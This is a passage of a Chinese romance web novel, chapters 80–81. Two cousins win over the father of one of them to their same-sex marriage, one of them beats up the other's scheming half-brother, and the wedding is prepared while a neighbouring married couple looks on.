楚晚棠继续含笑看她,欣赏她气鼓鼓扭身的样子,眉目闪过些许温柔,她想,可不能再逗了,表姐不禁逗的,一会儿真生气了。 “姨父,这件事我会写信与我父亲说的。” 外甥女素来有自己的主意,池景明点点头,也就没再说什么。 待他走后,池厢月仍有些不高兴,但她不想和表妹说话,心中甚至想着,哼,嫁人就嫁人,看我不把你那新郎官打死。 她没有发觉心中翻涌的醋意,只是兀自生着气。 楚晚棠含笑欣赏了会儿,盈盈走过去,“你生什么气,不是不喜欢我吗,那我嫁人岂不是如你所愿?” 如个屁。 池厢月脸色冷冷的,不说话,楚晚棠便不敢再招她了,否则以她的武功,真能消失在她面前,寻都寻不到。 “好了,我说笑的,我会与父亲说好不回京城的。” 听她如此说,池厢月才搭理她了,但还是气呼呼,“你父亲能听你的吗,他不是还想让你去联姻?!” 楚晚棠微微摇头,“这你不必管,我不回去,他再生气也没用。” 说着,她就要去找纸笔写信,池厢月出于对小表妹莫名的不信任,悄悄跟过去看了。 但她装作很不在意的样子,眼睛看着别处,仿佛在看风景,当表妹落下一行字时,又立马低头看去,只见上头写着,“我与表姐琴瑟和鸣,不劳父亲费心。” 池厢月:震惊的瞪大了眼睛。 不是,她在写什么? 我看见了什么? 是方才的日光太刺眼,伤到了我的眼睛? 惊讶的嘴巴简直能塞进一个鸡蛋了,表妹将那张纸捡起来,对着上头的字吹了一下,便欲塞进信封里,被池厢月急急拦住了。 她看表妹的眼神震撼极了,实在不敢想象自家知书达理,柔弱娇羞的表妹能写下这样一段话。 “你,你真要这么和舅舅说?” “嗯,父亲会明白我的意思的。” 池厢月:…… 伸手去探了探表妹的额头,没发热啊。 “你,你再给我看看?” 表妹如此坦然,许是我老眼昏花了呢。 池厢月今年也不过将将二十岁,但已经开始对自己的眼睛不自信了。 楚晚棠也不藏着掖着,递给表姐。 她便又温习了一遍上头的话。 每看一个字,眼睛就要忍不住瞪大一点。 她开始担忧,这封信若送出去了,舅舅不会被气死吧? 第80章 池夫子震惊 不论池厢月如何阻拦,那封信到底还是寄出去了。 楚晚棠像是根本不怕她爹生气一般,施施然坐在绣墩上,欣赏表姐呆愣愣,一副天塌了的表情。 看着看着,便忍不住噗嗤一声笑出来。 池厢月不理她,她自己走过去,晃了晃表姐的肩膀,声音含着笑意,“好了,信都已经让人送出去了,你还一直想着做什么?” …… “你别与我说话。” 她下巴杵在桌子上,声音显得有些闷闷不乐,楚晚棠眯了眯眼眸,抬手略过一缕黑色发尾。 “表姐不想和我说话了?好伤心啊,可我很想和表姐说话呢。” 表姐不语,只一味的沉默,见状,楚晚棠更是不满,自顾自挤开桌子,坐到了对方怀里,微微凝着眉心,“不理我?不喜欢我拒绝我父亲?难不成你是想让我回京嫁人?” 她保证,表姐要是敢答应一声,她就死定了。 池厢月感觉到怀里人身子一点点的下滑,被迫搂住她,以免人掉到地上,还有些不自然,“我何时有说过想要你回京嫁人,你既与我已经……自然不能嫁与旁人。” 她终于放弃把表妹掰正的想法了,大抵也是看出,自家表妹歪的不能再歪,绝无改邪归正的可能了。 她已被表妹拖下水,如今除了跟她一起面对,别无他法。 听她如此说,楚晚棠脸色才算好看些许,乖乖勾着她的脖子,将侧脸贴在她怀里。 “嗯,表姐明白就好。” 她会一直和表姐在一起的。 表姐不说话,表姐还在想等舅舅杀过来了她要如何保住自己的狗命,她实在是太难了。 “听闻渝归姑娘与惜枝姑娘是在官府留有婚契的妻妻,我们何时也去定下婚契?” 小表妹想到这最最重要的一步,温声细语问。 池厢月身体都僵了,不是,定婚契? 这就要定婚契了? 她艰难道,“可我爹还不知道这件事,这样……不太好吧。” “你若愿意,今日便可告知姨父 。” 楚晚棠对此并不在意,她本就要和表姐在一起,姨父早晚会知道。 池厢月也明白,她爹早晚得知道,但……抹了一把额间汗,罢了,我与表妹都到这份上了,是再离不得对方的。 她轻抿了抿唇瓣,终答应,“我,我过几日找机会和爹说。” 她又应了。 楚晚棠眼眸骤然一亮,今日的表姐竟这般好说话,什么都答应她。 那她岂非要与表姐修成正果了? 来得太过容易,楚晚棠有些惴惴不安,反问一句,“果真吗?” 一双狭长凤眸亮晶晶的。 直到池厢月认真点头,说出口的话却磕磕绊绊的,显然想到这个事,她并未准备好,“嗯,嗯……自然,我总要和我爹说的。” 她低头心想,不说也没法子,那样的信都寄出去了,总不能等舅舅上门抽她的时候,她爹还一脸茫然不知道发生了什么吧? 楚晚棠乖乖依在表姐怀里,神情餍足,缓声道,“那我们去渝归姑娘家吧,先吃饭,吃完再和姨父说?” 她好似很有些着急,今晚就想将事情定了,池厢月身体僵了僵,最后也想着长痛不如短痛,便咬牙答应。 表妹更高兴了,与表姐一块儿起身去隔壁吃饭。 宋渝归家已与之前大不相同,甚至可以说是焕然一新,房子是新的,家具是新的,惜枝爱干净,日日打扫,弄的不染尘埃,一进去连味道都觉得好闻。 大抵是因她们在庖厨和房间里各养了几盆番柿,便总有酸甜的果香。 “你们来了。” 沈惜枝见两人结伴过来,只来得及抬头看了一眼,便急忙炒菜,偶尔还要去看个火。 池厢月自觉接过烧火的任务,走过去坐下,往灶台里塞了一根细柴火后随口问,“渝归呢,她怎么不在,就让你一个人忙吗?” 这在她的印象里是没有出现过的,若是渝归在,怎会让惜枝一个人在庖厨忙活? 就算不帮忙也会陪在一侧才是。 沈惜枝加了水炖鸭子,将锅盖盖上,垂眸答道,“渝归姐姐肚子疼,先在屋里躺一会儿。” “肚子疼?她也来月事了吗?” “嗯。” “哦,我也来了,但我身体好,不太疼。” 她表妹来月事挺疼的,听渝归说惜枝来月事也疼,以往倒没见过渝归来月事会疼,只这一次听说她疼。 果然,很快便听沈惜枝有几分不高兴说,“我妻君平日里也是不疼的,但她最近太累了,昨日又洗衣服碰了凉水,才疼的。” 她以为自己来月事不会疼,就开始为所欲为,都说了不要她洗了……非要洗。 事实证明还是得对月事有些敬畏之心,今日便遭报应了,疼的直不起腰来,镇上都没去。 鸭肉在锅中熬炖,沈惜枝擦了擦手,对池厢月道,“劳烦池姑娘帮我看一下,别烧干了,我去看看渝归姐姐。” 人家两妻妻感情可好了,渝归肚子疼,惜枝肯定担心坏了。 “嗯行,我帮你看着,你快去吧。” 沈惜枝表面镇定,脚上却连忙快步出去,到后头都是用小跑的了。 宋渝归正在床上弓着背捂着肚子心如死灰,不是,怎么就这么疼呢? 小枝儿一路跑进来,手里抱着一壶热茶,她前面沏好的,稍微晾了一下,现在入口正好,暖暖肚子。 “渝归姐姐,快喝水。” 宋渝归脸色微白,她许久没有这样虚弱过,惜枝都要心疼死了。 “慢点,没事的,喝了热水就不疼了。” 几杯热水下肚,疼痛似乎有所缓解,她靠在床上舒了口气,沈惜枝接过被子放好,将自己塞进她怀里,语气竟反而委屈起来,“都叫你不要洗了,你就仗着自己身体好,现在吃亏了吧?” 她抱着妻子的腰,将手塞进被子里暖了暖,过一会儿再小心的取出来,在人肚子上轻柔按着。 “我知道错了知道错了,你就别念我了。” 惜枝念了她一日,给她头都念大了。 小姑娘听她竟还不高兴,瞪了她一眼。 “还不是你非要去洗那衣服,都说你月事来了不要洗,你偏不听!” 宋渝归把脸埋进妻子脖子里,声音听起来闷闷的,“那我不是怕你累着,想给你分担一下嘛。” 哪里想得到会影响这么大。 沈惜枝忧心忡忡,“你本来身子多好呀,肯定是自己不注意把身子都弄坏了才会肚子疼,日后不许你再碰凉水了。” “可是你来月事也疼啊,我若不帮你做,你来之前碰多了凉水,定也不好受的,要不我们花点钱让别人帮我们洗吧?” 转瞬间她又想出一个花钱的法子,沈惜枝气的在她脖子上咬了一口,“不要不要,你就知道花钱,我自己可以洗的。” “那你来月事了怎么办?” 媳妇儿来时比她还严重,经常直不起腰,可吓人了。 沈惜枝小脸皱巴巴,拧眉想了一会儿,道,“那就先放着,等走了再洗。” 总之她不想看见妻君洗了。 “那你多累啊,等冬天了天儿这样冷,你再洗衣服很容易生冻疮的,还是请人洗好一点。” 对于如何花钱,渝归姐姐向来是很有章程的。 只是她节约惯了,明知道那样最好,还是有些舍不得。 “那,那等冬日了再说嘛。” 现在才是初秋的季节,哪里就洗不了衣裳了呢。 惜枝小嘴都撅起来了,宋渝归便没再说什么,免得惹她生气,只在心里暗自决定,就要花钱找人洗! 又喝了两杯热茶后,她才勉强能下地走动两下,池厢月笑话她弓着背像个虾子,被沈惜枝狠狠,凶巴巴的瞪了一眼。 她一愣,委屈躲到表妹身边,那眼神颇有,她们两个欺负我一个,你快帮我的意思在。 给表妹乐的不行。 楚晚棠哄她,“没事,她们不与你好,我与你好。” 宋渝归同媳妇儿对视一眼,心里纷纷有所确定,八成是成了,就知道池厢月会被她表妹拿捏住。 当晚,池家骂人的声音将隔壁两个正在睡觉的姑娘都吵醒了。 宋渝归迷迷糊糊抱着老婆,小声哔哔,“池夫子在骂什么啊,是不是池姑娘和楚姑娘的事被发现了?” 沈惜枝也困得很,耳边却又充斥着骂人声,没办法睡个安稳,只得在人怀里点着下巴回应,“嗯……好像是,我听见池夫子骂池姑娘了。” 那一句我怎么生了你这样离经叛道的女儿,总不能是说楚姑娘吧? 虽然池姑娘纯纯背锅,真正离经叛道的另有其人。 隔壁屋,池厢月跪在地上心如死灰,幸好不是在京城老宅,不然她爹非得叫她跪在祖宗牌位前反省不可。 她木着一张脸,一味道,“爹,我和表妹是真心想在一起的,您就成全我们吧。” 楚晚棠见表姐被喝令跪下,脸色已经有些不好了。 池景明手里握着鸡毛掸子,生气的走来走去,“真心?棠儿可是你亲表妹,你怎么能!” 他都说不出来! “表哥表妹的尚且能在一起,表姐与表妹为何不能,爹,我觉得这也没啥问题……” 她不知何时已经完全被表妹说服了,一番言论更是气的池景明举起鸡毛掸子便要打。 池厢月平日里总和爹斗嘴,其实也是怕爹的,哪里敢躲,老老实实就准备挨了,可谁想楚晚棠眸色微冷,快步跨过去挡在她前面,那一下没收住,竟直接打在女子娇弱的肩膀。 小表妹闷哼一声,池景明与池厢月皆大惊失色,池厢月都跳起来了,一把揽住表妹纤细柔弱的身子,神色惊慌,嘴里不住喊,“大夫,大夫,爹你快去找大夫!!!棠棠你怎么样了,不疼不疼,我马上就给你找大夫看看,我屋里还有上好的金疮药,给你用,都给你用,没事的啊,很快就不疼了!” 池厢月见着小表妹被打,心里跟自己被抽了十几下似的,心疼到不行,抱着表妹一个劲儿催爹去找大夫。 池景明:…… 一开始打错了人他也很紧张,但池厢月会不会过了一点? 楚晚棠:…… 为什么表姐说的好像我要没了一样。 两人都有些无语,池景明对这个自幼丧母的外甥女平日里也十分怜爱,又是看着她长大的,着急之下,没再骂池厢月,连忙去自己屋里拿了疗伤去疤的药,他是男子自然看不得女子伤口,但他亦不愿让女儿看见。 “你去请隔壁……的隔壁那位大娘过来帮忙给棠儿上一下药。” 他刚欲让她请隔壁的姑娘,忽然想起来那也是两个磨镜,怎会如此,我竟是被磨镜包围了! 可楚晚棠不愿让别人碰她,她被心疼极了的表姐揽在怀中,因池景明坚决不同意还想打人的态度脸色冷了几分,“不必,表姐会为我上药的,用不上旁人。” 池景明手里还握着鸡毛掸子,见女儿一脸着急的样子,实在不知道说什么,怎么会呢,怎么会呢? 他最终疲惫的挥挥手,“那月儿你快把棠儿带回去上药,棠儿你何必替她挡,她皮糙肉厚的,这一下怕是连油皮都破不了。” 不比楚晚棠是娇娇柔柔的大小姐,池厢月从小就皮,没少被罚。 但确实,如果罚她被棠儿看见了,棠儿一定会生气阻拦的。 她们关系素来好,难道就是因此才会歪了? 楚晚棠平日甚是敬重姨父,但今日也难露出好脸色来,心里闷闷的,语气也颇显冷淡,“是人就会疼,我舍不得表姐疼,宁愿是落在我身上。” 这话说的在场两人俱是一震,饶是池厢月自认还没有变成磨镜,心中也忍不住感动,抱着人泪眼汪汪轻声唤她,“表妹……” 池景明沉声,语气里又有些不敢置信,“所以这件事,你也是愿意的?” 楚晚棠即便见姨父有要生气的样子,也并不害怕,认真点头,“是我想和表姐永远在一起,想和表姐去定下婚契,您若要罚便罚我好了。” 总之她舍不得表姐受伤。 池景明真不知道说什么好,他一向觉得自己的女儿才是离经叛道的那个,大舅哥的女儿乖巧懂事知书达理,他生怕月儿会带坏棠儿,但是今日…… 一切颠覆了他的认知。 池厢月感动又心疼,抱着表妹,“我们快进去上药吧,不要管这老头了,他见不得我们好。” 说着便将表妹打横抱进去,连路都舍不得叫她多走一步。 池景明不放心,站在门口沉声,“池厢月,上药便上药,你不得胡来!” 话音刚落,里头传来女子温温柔柔的声音,与今日和他说话时略带冷意不同,她心疼道,“表姐别听姨父的,你想怎么样都可以,我们自己说了算。” 池景明甚至起了疑心,棠儿不会被人掉包了吧? 否则怎能做出这种事情,说出这种话来。 莫说女子与女子…… 单就是她们两人的身份也极是不合适啊。 池景明沉默的回去,一夜未眠。 池厢月可不管她爹内心有多忧愁,将表妹一直抱在怀里,取了药之后便小心翼翼打开衣领子,见上头泛红肿起,还破了一点皮,心疼的不得了。 “你去给我挡做什么,我爹说的也没错,我皮糙肉厚的,打一下也没什么事,你看看你,要是留疤了可怎么办。” 小表妹爱美,她也是知道的。 楚晚棠却对自己的伤一点不在意,听不见外面姨父的动静,便小声和池厢月蛐蛐起来,黛眉微蹙,“姨父未免太不近人情了些,你不过是想与我在一起,他便这般狠的罚你,当真过分。” “我爹为人迂腐,没事的,我会让他答应的,你别担心。” 纤纤素手沾了一点药膏,涂抹到女子伤处,冰冰凉凉的,极是舒适。 楚晚棠垂眸看她认真为自己抹药,一边抹,一边还不忘在伤口上轻吹两下。 姿态温柔的不得了。 忽而没忍住,仰头亲了她一口。 池厢月一愣,面色如常,只耳朵微微泛着红晕。 楚晚棠亲完后也没再故意说些羞人的话,难得安静,任由表姐擦完药后温声哄她睡觉。 隔壁偷听了一会儿,没再听见动静的两人互相抱着在床上滚了滚,“嗯……大抵是吵完了,不管她们,我们睡觉。” 她低头在媳妇儿软嫩的脸颊上亲了亲,“小枝儿香香的。” 小枝儿羞怯,躲进妻子怀里,纤长眼睫紧紧合着,嘴里嘟嘟囔囔,“睡觉睡觉,不要亲我了。” 她是被亲怕了,每天晚上都亲,嘴巴都肿了。 宋渝归也困得很,哪有力气再把小枝儿扒出来狠狠亲一通,便只是听话的抱着她,安静睡去。 池家,池厢月好不容易哄睡了表妹,小心翼翼将表妹攥着她领口的纤长玉指塞进被窝里。 轻手轻脚起身走出去。 屋外,她爹站在外面等她。 池景明一言不发,只望着远处的寒月,好一会儿才沉声开口,“是你先有这个念头的,还是棠儿先的?” 池厢月沉默了一会儿,低声道,“我先的。” 池景明转身,锐利的眸子落在她身上,“当真?” “嗯。” 他嘴角似乎微微上扬,“其实来这里之前,我便察觉到棠儿对你格外依赖。” 池厢月眼睫颤了颤,我爹早发现了? 天杀的发现了不早点告诉我,看来闹到如今无法收场的境地,她爹也有责任! 池景明叹气,“只是我没想到,你会答应她。” 池厢月身形又是一僵,这话便是明晃晃戳破了她的谎言,但是,她答应表妹怎么了,表妹长得跟天仙似的,她会喜欢表妹很正常好吗,倒是表妹喜欢她这件事,她至今不知缘由。 她不好和爹顶嘴,怕爹不同意她们的事,也知道她爹是要骂她了,于是闭嘴安静听训。 屋外隐约的说话声响了很久,男子无可奈何沉重的叹息也响了好几声,最后月明星稀,池厢月又蹑手蹑脚回来了,小心翼翼抖了抖身上寒意,换上单薄贴肤的里衣,钻进被窝里抱着表妹。 楚晚棠窝在被子里睡颜恬静,在她上床后似有所觉般往她怀里蹭了蹭,自个儿找到一块最暖和舒服的地方窝着。 不同于池夫子一夜枯坐,两人倒是好眠,第二天日上三竿才起,本应该出门去学堂传授知识的池夫子却没有走,池厢月刚伸着懒腰从房间出去就看到他了。 连忙站直。 楚晚棠就在她身后出来,没看见池景明,娇柔的声音来不及收回,透着一股子媚意,“表姐昨夜待我如此温柔,为何今日连亲一口都没了?” 池厢月:…… 池景明:……他甚至怀疑自己年纪大耳朵不好使了, 这是我内敛温柔,琴棋书画样样精通的外甥女能说出的话吗? 这种话要是从月儿嘴里听到,他都不会如此无法接受。 楚晚棠走出来了才发现池景明今日居然没有出门,但她也不在意,神色如常的唤了姨父,接着便站到表姐身边,揽着她手臂了。 池厢月还想挣扎一下,偷偷把自己的手臂抽出来,不想被表妹瞪了一眼。 已老实。 “你出去,我和棠儿说两句。” 他思来想去一晚上,觉得这件事成与不成,都在他这个心思缜密的外甥女手里。 池厢月懒洋洋抬了下眼皮,不必问她都知道她爹要干嘛,但这回怕是要叫爹失望了,她表妹如果愿意放弃,她们早便分开了,表妹那关可比她的难走多了。 想到此处,她又有些无奈,回头看了表妹一眼,表妹微微颔首,示意她可以。 她才出去了。 她出去没多久,表妹也含笑出来,牵住她的手,轻声问,“我们去镇上吃饭好不好,我都饿啦,吃完带些糕点去寻渝归姑娘她们聊天。” 面对她,池厢月哪有不答应的,自然点了点头,池景明就在她点头时也缓步出来,看向她的目光带着谴责,明明知道一切是从棠儿起的,可他还是觉得自家顽劣的女儿带坏了旁人家乖巧的女儿,想到这事迟早会让大舅哥知道,他稍稍有些不自然。 见他往外走,池厢月随口问,“已经过了上课的时辰,爹您去哪啊。” 池景明脚步一顿,手指扣了扣衣袖,无奈道,“自是为了你们二人的事,需修书一封向楚大人说明,再请媒婆前往楚家下聘。” 虽然两人早已互定终身,但他不欲亏待楚晚棠,该给的自然还是要给,没想到棠儿也是这般坚定,这两人,他说服不了任意一人。 罢了,人生漫长,若能与心爱之人相守,也很好吧。 是他迂腐了。 池景明想了一晚上,才想明白这个道理,我朝已允许女子成亲,他又何必同律法背道而驰。【你现在阅读的是 】 80-87 第81章 小池成婚 日子平静的过了几天,楚晚棠胆子越发大了,也不愿再藏着掖着,连在池景明面前都敢面不改色的亲表姐一口。 池厢月也从一开始的抗拒,不许她亲,到后面心如死灰,被亲也没有任何反应,随便了随便了,棠棠就是这般肆意的性子,何必约束她。 有时她正和亲爹讨论成婚事宜,棠棠从屋里走出来,顺嘴便低头吻了她一下。 起初池景明亦是目瞪口呆,不敢相信这是自己那个素来矜持有礼的外甥女,几度怀疑她是被恶鬼附身了,但次数多了,他也习惯了,每每只能很无语的看着两人。 那日正好天晴,宋渝归跟沈惜枝用了午饭休息一会儿过后,便一起上山去砍柴,家里的柴快烧完了,池厢月这两天都忙着要给楚家下聘的事,没空去山上,她们就自己上山砍。 虽然宋渝归也想花钱买柴火的……三文钱一捆,便宜的很嘞,但被自家媳妇儿驳回并凶了一顿,立马老实了。 不买就不买,自己砍也不错,还能省点钱,用媳妇儿的话说,赚钱不容易。 说是砍,其实于她们而言更多是在捡柴,太大的树砍下来了也搬不走,更别提劈成柴火了,只能捡相对粗一点的树枝。 这根枯枝捡一下,那根枯枝也捡一下,一人捡了满满一捆,拿麻绳系好,便拎着回去了。 快到家门口时才看见一队浩浩荡荡的人马,停在黄土坡上。 为首的马车里走出一常服男子,虽衣着颜色不鲜亮,也能看出料子暗纹精致复杂,价值不菲。 剧情里没出现过的男人,宋渝归好奇的看了一眼,见马车停在池家,知是来找池厢月的,便转身欲离开。 不想对方看见她们,却是眼前一亮,伸手拦了这二人,“两位姑娘。” 他疾步上前,宋渝归有些不好的预感,打量的望着来人,默默把媳妇儿挡在身后。 沈惜枝很少见生人来此,柳眉微蹙,紧张的躲在妻子后面。 那男子看起来是个礼数周全的人,规规矩矩给两人作了一揖,直起身子后开口询问,“姑娘可是宋家村之人?” 宋渝归:…… 你站在宋家村里问我是不是宋家村的人,这不废话吗? 她嘴角抽了抽,但好歹没在面上表露出无语的表情来叫人难堪,只点了点头,“我是,公子有何贵干?” 听她说话似乎并不粗俗,男子眉眼浮上笑意,“我来寻这处房屋的主人,请问你知道她们何时回来吗?” “哦,她们晚上吃饭的时候回来。” 无论有多么要紧的事,池厢月都不会因此误了吃饭的时辰,她非常肯定,不需犹豫。 “原来如此,那看来我只能稍等一会儿了。” 那男子笑着,对她们表现的温润如陌上公子。 若是寻常女子或许会被他的皮相所迷惑,可惜,你面前的是宋家村有名的两个磨镜。 “嗯。” 宋渝归随便点了下头,便拉着妻子欲走,又被对方唤住。 对方话语间隐隐含着轻浮的亲昵,心想,我或许要在此处待一段时日,总不能孤身一人,若有两位姑娘伺候左右,红袖添香…… 不失为一桩美事。 “两位姑娘是姐妹吗?既然时间尚早,我可否去姑娘家中喝一杯清茶,歇歇脚?” 宋渝归一听这话就警惕了,她可不想成为什么分尸案的主人公。 这人来路不明,虽说看上去认识池厢月,但是什么关系还说不好呢,她毫不犹豫摇头拒绝,面色冷然几分,“我们家中只两个女子,不大合适。” “我朝民风开放,我只是想去讨杯茶吃,这有何不合适的?” 沈惜枝在后面紧张的扯住妻子衣袖。 宋渝归反手握住惜枝纤长的手指,安抚般轻揉,然后盯着那一双桃花眼魅惑人心似的望着她们,明显不老实的男子,一字一句道,“因为我们是磨镜,所以家中并不招待男子。” 那男子被吓了一大跳,脸色霎时一变,原本温润的声音都尖利难听起来,高高吊着尾音,“什么——你们也是磨镜?!” 怎么走到哪都能碰见磨镜! 如今磨镜竟这般多吗? 宋渝归知他们是来寻池厢月的,应是池家或者楚家人,口中说的也,便是她们两个了。 她不想与他多说什么,只微微点头,拉着惜枝绕过他离开。 这次没有再被阻拦。 沈惜枝被妻子牵着走,见那队人一直站在外面,难免神色惊慌,快走几步与渝归姐姐并肩而行,声音又轻又细,“这是怎么了呀,他们是何人,为何要找池姑娘她们?” “应该是她们家里的人,我们不用管,跟我们没什么关系,她们能处理好的,晚上吃饺子好不好,之前池姑娘拿来的羊肉还有一些,我想吃羊肉饺子。” 想必不是什么大事,沈惜枝只替池姑娘她们担忧了一会会,心神又全部放在妻子身上了,“嗯嗯,好,那我们今晚吃羊肉大葱饺子。” 两人心里对晚饭有了谱,回家把柴火都整整齐齐堆好后,便开始收拾着和面剁羊肉,还有拔点小葱混在里面。 池厢月今日回来的早些,看见屋外的马车便知是有客来访。 顿时紧张的浑身绷直,原本带上三分笑意的嘴角也抿平了,算算时间,那封信确实早该到京城了。 现在是人杀过来了? 她恐过来的人是未来岳父大人,战战兢兢往自家走,小心翼翼生怕岳父冲出来抽她。 楚晚棠看的好笑,无奈道,“如今京中局势不明朗,我父亲不会随意离京的,你怕个什么?” 现在天高黄帝远,她爹根本管不到她,只要她不回京城,等她爹抽出手来抓她,她和表姐的婚契都该泛黄了。 但池厢月还是紧张,“万一呢,万一真是舅舅来了呢?” 楚晚棠见她实在担忧,走过去随口问了一个认出她口中唤着大小姐的侍卫,“今日过来的是谁?” 那侍卫恭敬道,“是大公子。” “啧,怎么是他来了。” 楚晚棠眉间浮现些许厌烦,池厢月一愣,神情却沾了些怒意,“是楚攸宁?!” “嗯,应该是我爹让他来的。” “呵,好啊,我正愁找不到机会回京呢,他倒是自己送上门来了!” 自从表妹说楚攸宁想让她嫁给三四十岁的官员联姻后,她就很想打楚攸宁一顿,可惜楚攸宁身在京城,也是打不着,今日他竟然自己送上门来了! 池厢月气势汹汹就要去打人,楚晚棠也不拦着,能让表姐高兴些,那顿打楚攸宁挨得也算值了。 楚家大公子正在屋里不耐烦的等着两人回来,好不容易听见点动静走出去,却不想迎面而来的竟然是一窝心脚! 他是地地道道的文人,不会武功,被一脚踹了好远! 连续翻滚两下才勉强停住,震惊与不敢置信的情绪同时出现在他脸上,他简直不敢想刚才发生了什么! 好不容易才从地上艰难的爬起来,却也是站不稳,只得单膝跪地,恨恨抬眸,“你,表姐这是何意!我奉父亲之命前来,就算你素日不喜我,又怎能无故动手伤人!” “呵。” 池厢月想到小表妹委屈的说那些庶兄欺负她的话,就气的心肝肺都要炸了,哪能忍他! 当即过去一把抓住他的衣领,就将他往地上掼了一下。 楚攸宁只感觉脑门嗡嗡的,半张脸被摁在泥土地上,又惊又怒,“池厢月!你疯了不成!!!唔唔唔” 对方摁的用力,他张嘴不慎吃到了些许泥尘,被恶心的不行。 来之前他根本想不到会经历这些! 楚晚棠主动离家,在他看来便是放弃了掌握楚家,他还以为今后楚家注定是他的,被父亲命令来此,也是抱着耀武扬威的心态,结果刚与人见面,就被打的直不起腰来了,一切不好的心思都破碎在池厢月武力镇压之下。 这疯子根本不给人喘息的机会,任他说什么,如何挣扎也不肯松手,他只得艰难求救的看向楚晚棠。 楚晚棠见表姐揍的利落,一开始并未出言,后面看差不多了才拉住表姐打人的手,握住那只发红的拳头,很有些心疼怜惜般在上头摸了摸。 “再打表姐的手都要破皮了,今日就饶过他吧。” 鼻青脸肿的楚攸宁听见这话,只感觉楚晚棠也疯了,她只是手破皮,你看看我啊,你看看我啊! 一口带着血的唾沫被啐在地上,他差点忘了,当初被楚晚棠支配的恐惧,这也是个疯子,两人一个明着打人,一个暗地里使手段,呵呵,简直是天作之合! 池厢月利落站起身,居高临下的盯着他。 “以后再敢欺负我表妹,我要你好看!” 她比了下自己的拳头。 楚攸宁还以为池家出了事,池厢月的脾气合该收敛一点了,可是,没有!她一点都不收敛。 被打的都要见不得人了,楚攸宁连爬都爬不起来,鼻青脸肿躺在地上喘气。 池厢月冷哼一声,拉着表妹去隔壁吃饭去了,竟是管也不管他。 于是理所当然的,她就被晚上回家看到一切的池夫子罚跪了。 池夫子痛心疾首,他还在想着要如何让大舅哥同意这桩婚事,池厢月倒好,还把人儿子打了! 这般暴戾心性,谁会放心把女儿嫁给她? 要是我我肯定不会答应这门婚事! 池景明要气死了,他女儿简直成事不足败事有余,他罚她跪着清醒一下,外甥女还不乐意,也对他鼻子不是鼻子,眼睛不是眼睛的。 池景明:…… 这么叛逆不服管教的女儿,我未来会有两个,真好,真好。 本以为自家女儿打了大舅哥的儿子,许会为婚事增加颠簸,老父亲愁的一晚上没睡着觉,没成想对方竟是被打服了,不敢将这事吐露一个字,写回去的信也净是说池厢月好话的,每一封都经池厢月过目,才可送去京城。 池景明心里知道,但这回没有说什么。 打了人他可私下补偿一下楚攸宁,但让他爹知道就没必要了,大家以后都是亲家,何必闹得太过难看呢,多伤感情。 楚攸宁过来也是带着楚大人的手写信来的,但是楚大人在其中并没有说什么好话,痛骂了池厢月一整页,林林总总罗列了她数十条恶习,并勒令女儿l即刻启程回京,不要再去这种穷乡僻壤受苦了。 楚攸宁其实是来接楚晚棠回去的。 可楚晚棠所有的温柔小意都给了表姐,如何会听旁人的? 看完她就把那信撕了,纤纤玉指一松,纸片落了满地,红唇微启,语气极为不屑,“写的什么破东西,牛头不对马嘴。” 池厢月方才凑在表妹身边看完了,表情心虚极了。 舅舅里头写的其实也没错…… 说她脾气不好,对旁人动辄打骂,虽然大多是人家先招惹的她,但她从前打人确实狠,还有池家如今式微,不如以往,恐给不了楚晚棠更好的生活。 楚晚棠生来高贵,向来是用眼尾看人的,如果和池厢月在一起,身份岂非莫名低了一截? 女子向来是高嫁更多,尤其在官场上,楚大人不愿自己唯一的嫡女低嫁,很正常。 说的也都是事实。 池厢月才看到一半就蔫吧下去了,心中甚至想着,或许表妹看了舅舅说的这些,也会骤然清醒呢? 然而事实是,表妹没有清醒,不止没有清醒,还把信给撕了。 她惊呆了。 楚晚棠撕了信后见表姐在看她,娇娇扑进表姐怀里,也懒得提这封乱七八糟的破信,蹭着表姐脖子软软开口,“表姐~我让人送了一些婚服的纹样,你陪我一起挑一挑好不好?” 这,这进度也太快了! 池厢月瞪眼,“现在就开始挑婚服了吗?” “嗯,先挑个好看的纹样,等她们送衣料子过来,我亲自做两身婚服,你放心,我做的快一点,冬日便能做成。” 听她还要亲自做衣裳,便知她对两人的婚事有多上心了。 池厢月心间不由动容几分,几乎软成一摊水儿了,薄唇轻抿,点头,“好……那我就冬日娶你。” 是,娶她,这辈子我已与表妹牵扯的这般深,除了娶她,再没有第二条路可走了。 且,表妹如今极是依赖我,但凡我稍有疏远,她便会失落,难受,若我此时再劝她什么…… 就真要出事了。 她也舍不得表妹出事的。 池厢月手指搭在表妹的腰上,忽而将人用力往自己面前扣了扣。 表妹不曾说话,只用一双似含了千言万语的眼睛看着她。 然后就被摁在怀里亲了。 她亲的用力极了,柔软舌尖一直舔着女子唇缝儿。 楚晚棠顷刻沦陷,乖乖依在人怀里,被吻的浑身发颤。 即使呼吸不过来也不想松开,表姐从未如此主动过。 她没有刻意勾引表姐,表姐就自己亲她了。 想到这儿,那双狭长凤眸愉悦的眯起。 楚大人果然远在京城鞭长莫及,两人的婚期还是定了。 因池家不好回京的关系,她们便准备在镇上办婚事。 池景明买了一处宽阔宅院,正好用做两人婚房,宋渝归与沈惜枝也受邀参加。 她们是池厢月楚晚棠在此地难得朋友,自然是必去不可的。 这几日南街的屠户没有出来卖肉,听人说是身患重病,命不久矣,南街百姓无法,只得去另外两条街买肉,宋渝归倒是因此生意好了不少,每日肉都卖的精光,一块也剩不下,加上楚晚棠为了多谢她们做饭,将食材都包了,她们吃饭亦不必自己花钱,省下的银子有不少。 因此在两人成婚时,小妻妻凑在一起合计了一下,包了十六两六的礼金进去,六六大顺。 里头差不多是她半月的收入,她与女主还有女主的小表妹如今关系不错,但真要包的比一群官家,公子小姐的更多,她是做不到的,只能力所能及之内多包点。 池厢月自然不肯要她们的银子,她都不乐意收礼金,就是想着毕竟是成婚,以表妹的性子她一辈子估摸就成这一次,想走走流程,随便给点都无所谓。 她想到这人修房子才花了一百两呢,听闻还打算开店,又不愿意让她们入股,那哪少的了银钱,说什么都不肯要。 宋渝归才不理她,只将包了红封的红包交给坐在那收礼金的老者,让他记一下。 到底是成婚,池厢月虽然一开始闹着不肯和楚晚棠好,现在也挺乐意的,一直压不住上扬的嘴角,见两人非要给钱,也只得算了,声音甜滋滋的,“哎呀,你们也真是的。” 她今日难得穿上艳红繁琐的婚裙,脸上薄施脂粉,头戴沉重的凤冠,行动自如间颇有潇洒的大侠风范。 “一会儿该去接楚姑娘了,你还不准备一下?” “我早就准备好了。” 